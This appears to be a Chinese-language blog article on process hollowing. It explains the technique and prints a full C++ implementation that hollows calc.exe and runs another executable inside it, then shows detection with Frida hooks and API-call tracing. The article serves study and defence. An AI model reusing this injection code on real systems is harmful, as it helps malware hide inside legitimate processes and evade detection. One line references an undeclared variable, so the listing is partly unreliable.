概述

进程掏空(Process Hollowing)是一种代码注入技术,攻击者创建一个处于挂起状态的新进程,取消映射其原始映像,替换为恶意代码后恢复执行。该技术常用于恶意软件免杀和隐蔽执行。

参考资料

[toc]

技术原理

进程掏空本质上是在手动操作 PE 文件的加载过程

  1. 创建一个合法进程(如 calc.exesvchost.exe
  2. 将其内存中的原始映像「掏空」(Unmap)
  3. 写入恶意的 PE 映像
  4. 修改入口点后恢复执行

从外部看,进程名和路径都是合法的,但实际执行的却是恶意代码。

执行流程

┌─────────────────────────────────────────────────────────────┐
│                    Process Hollowing 流程                    │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. CreateProcessA(CREATE_SUSPENDED)                        │
│     ↓                                                       │
│     创建挂起状态的合法进程(如 calc.exe)                      │
│                                                             │
│  2. NtUnmapViewOfSection()                                  │
│     ↓                                                       │
│     取消映射原始 PE 映像(掏空)                              │
│                                                             │
│  3. VirtualAllocEx()                                        │
│     ↓                                                       │
│     在目标进程中分配新内存                                    │
│                                                             │
│  4. WriteProcessMemory()                                    │
│     ↓                                                       │
│     写入恶意 PE 头、节区、修复重定位                           │
│                                                             │
│  5. SetThreadContext()                                      │
│     ↓                                                       │
│     修改 EAX/RCX 为恶意代码入口点                             │
│                                                             │
│  6. ResumeThread()                                          │
│     ↓                                                       │
│     恢复线程执行恶意代码                                      │
│                                                             │
└─────────────────────────────────────────────────────────────┘

关键 API 说明

步骤API功能
创建进程CreateProcessA创建挂起状态的目标进程
掏空进程NtUnmapViewOfSection卸载原始 PE 映像(核心)
分配内存VirtualAllocEx在目标进程分配可执行内存
写入数据WriteProcessMemory写入 PE 头、节区、重定位表
修改上下文GetThreadContext / SetThreadContext获取/设置线程上下文(入口点)
恢复执行ResumeThread恢复挂起的线程

实现代码

说明

以下代码以 calc.exe 为目标进程,注入 HelloWorld.exe。在 Win10 上测试稳定,Win11 可能存在兼容性问题。

#include <iostream>
#include <Windows.h>
#include <winternl.h>
 
const char* sourceProcess = "c:\\windows\\syswow64\\calc.exe";
const char* targetProcess = "D:\\tmp\\HelloWorld.exe";
 
using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);
 
typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
 
typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
 
typedef NTSTATUS(NTAPI *pfnNtQueryInformationProcess)(
    IN HANDLE ProcessHandle,
    IN PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN ULONG ProcessInformationLength,
    OUT PULONG ReturnLength OPTIONAL
);
pfnNtQueryInformationProcess gNtQueryInformationProcess;
 
HMODULE sm_LoadNTDLLFunctions()
{
    HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
    if (hNtDll == NULL) return NULL;
    gNtQueryInformationProcess = (pfnNtQueryInformationProcess)
        GetProcAddress(hNtDll, "NtQueryInformationProcess");
    if (gNtQueryInformationProcess == NULL) {
        FreeLibrary(hNtDll);
        return NULL;
    }
    return hNtDll;
}
 
int main()
{
    // 1. 创建挂起状态的目标进程
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
    DWORD returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)sourceProcess, NULL, NULL, TRUE, 
                   CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;
 
    // 2. 获取目标进程 PEB 中的 ImageBase 地址
    sm_LoadNTDLLFunctions();
    gNtQueryInformationProcess(destProcess, ProcessBasicInformation, 
                               pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8;
 
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, 
                      &destImageBase, 4, &bytesRead);
 
    // 3. 读取恶意 PE 文件
    HANDLE sourceFile = CreateFileA(targetProcess, GENERIC_READ, NULL, NULL, 
                                    OPEN_ALWAYS, NULL, NULL);
    DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), 
                                              HEAP_ZERO_MEMORY, sourceFileSize);
    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
 
    // 4. 获取恶意 PE 的映像大小
    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)(
        (DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
    SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
 
    // 5. 掏空目标进程(核心步骤)
    NtUnmapViewOfSection myNtUnmapViewOfSection = 
        (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), 
                                               "NtUnmapViewOfSection"));
    myNtUnmapViewOfSection(destProcess, destImageBase);
 
    // 6. 分配新内存并写入 PE
    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, 
                                              sourceImageSize, 
                                              MEM_COMMIT | MEM_RESERVE, 
                                              PAGE_EXECUTE_READWRITE);
    destImageBase = newDestImageBase;
 
    DWORD deltaImageBase = (DWORD)destImageBase - 
                            sourceImageNTHeaders->OptionalHeader.ImageBase;
    sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
    
    // 写入 PE 头
    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer,
                       sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
 
    // 7. 写入各个节区
    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)(
        (DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + 
        sizeof(IMAGE_NT_HEADERS32));
    
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        PVOID destinationSectionLocation = (PVOID)(
            (DWORD)destImageBase + sourceImageSection->VirtualAddress);
        PVOID sourceSectionLocation = (PVOID)(
            (DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
        WriteProcessMemory(destProcess, destinationSectionLocation, 
                           sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
        sourceImageSection++;
    }
 
    // 8. 修复重定位表
    IMAGE_DATA_DIRECTORY relocationTable = 
        sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    
    sourceImageSection = (PIMAGE_SECTION_HEADER)(
        (DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + 
        sizeof(IMAGE_NT_HEADERS32));
    
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        BYTE* relocSectionName = (BYTE*)".reloc";
        if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) {
            sourceImageSection++;
            continue;
        }
 
        DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
        DWORD relocationOffset = 0;
 
        while (relocationOffset < relocationTable.Size) {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(
                (DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationEntryCount = (relocationBlock->BlockSize - 
                sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(
                (DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
 
            for (DWORD y = 0; y < relocationEntryCount; y++)
            {
                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);
                if (relocationEntries[y].Type == 0) continue;
 
                DWORD patchAddress = relocationBlock->PageAddress + 
                                      relocationEntries[y].Offset;
                DWORD patchedBuffer = 0;
                ReadProcessMemory(destProcess, 
                    (LPCVOID)((DWORD)destImageBase + patchAddress), 
                    &patchedBuffer, sizeof(DWORD), &bytesRead);
                patchedBuffer += deltaImageBase;
                WriteProcessMemory(destProcess, 
                    (PVOID)((DWORD)destImageBase + patchAddress), 
                    &patchedBuffer, sizeof(DWORD), fileBytesRead);
            }
        }
    }
 
    // 9. 修改入口点并恢复执行
    LPCONTEXT context = new CONTEXT();
    context->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi->hThread, context);
 
    DWORD patchedEntryPoint = (DWORD)destImageBase + 
        sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
    context->Eax = patchedEntryPoint;
    SetThreadContext(pi->hThread, context);
    ResumeThread(pi->hThread);
 
    return 0;
}

效果展示

  • 任务栏显示的是 calc.exe 的图标
  • 实际执行的是 HelloWorld.exe 的代码
  • Process Explorer 查看加载模块,看不到注入的映像
  • VMMap 查看 VAD 也无法发现异常

检测难度

从内存直观取证较为困难,需要通过 API 调用序列关联检测。


检测思路

威胁图关联检测

核心思想:将进程句柄和线程句柄与 API 调用实体关联

进程掏空的关键特征:

CreateProcessA → 返回 process_handle, thread_handle
     ↓
NtUnmapViewOfSection(process_handle) → 同一 handle
     ↓
VirtualAllocEx(process_handle) → 同一 handle
     ↓
WriteProcessMemory(process_handle) → 同一 handle
     ↓
SetThreadContext(thread_handle) → 同一 handle
     ↓
ResumeThread(thread_handle) → 同一 handle

基于 Frida 的检测实现

frida-trace -i "VirtualAllocEx" -i "NtUnmapViewOfSection" \
            -i "ResumeThread" -i "SetThreadContext" \
            -i "CreateProcessA" -f process_hollowing_test.exe

Frida Hook 脚本示例:

// CreateProcessA.js
onEnter(log, args, state) {
    log('CreateProcessA()');
    log('  CMD line: ' + Memory.readUtf8String(args[1]));
    this.arg10 = args[9];
},
onLeave(log, retval, state) {
    var process_addr = Memory.readPointer(this.arg10);
    var thread_addr = Memory.readPointer(this.arg10.add(4));
    log('  process handle: ' + process_addr.toInt32() + 
        ' thread handle: ' + thread_addr.toInt32());
}
 
// NtUnmapViewOfSection.js
onEnter(log, args, state) {
    log('NtUnmapViewOfSection()');
    log('  process handle: ' + args[0].toInt32());
    log('  process addr: ' + args[1]);
}
 
// VirtualAllocEx.js
onEnter(log, args, state) {
    log('VirtualAllocEx()');
    log('  process handle: ' + args[0].toInt32());
}
 
// SetThreadContext.js
onEnter(log, args, state) {
    log('SetThreadContext()');
    log('  thread handle: ' + args[0].toInt32());
}
 
// ResumeThread.js
onEnter(log, args, state) {
    log('ResumeThread()');
    log('  thread handle: ' + args[0].toInt32());
}

检测结果示例:

 8 ms CreateProcessA()
 8 ms | CMD line: c:\windows\syswow64\calc.exe
18 ms | process handle: 368 thread handle: 356
19 ms NtUnmapViewOfSection()
19 ms | process handle: 368
19 ms | process addr: 0xbe0000
19 ms VirtualAllocEx()
19 ms | process handle: 368
22 ms SetThreadContext()
22 ms | thread handle: 356
22 ms ResumeThread()
22 ms | thread handle: 356

可以看到所有操作都关联到同一个进程句柄(368)和线程句柄(356),形成完整的攻击链。

检测要点

通过威胁图将 CreateProcessA 返回的句柄与后续 API 调用关联,可以准确识别进程掏空行为。


相关开源项目

相关技术

技术说明
进程注入其他进程注入方法
PE文件结构PE 加载原理
重定位表重定位修复机制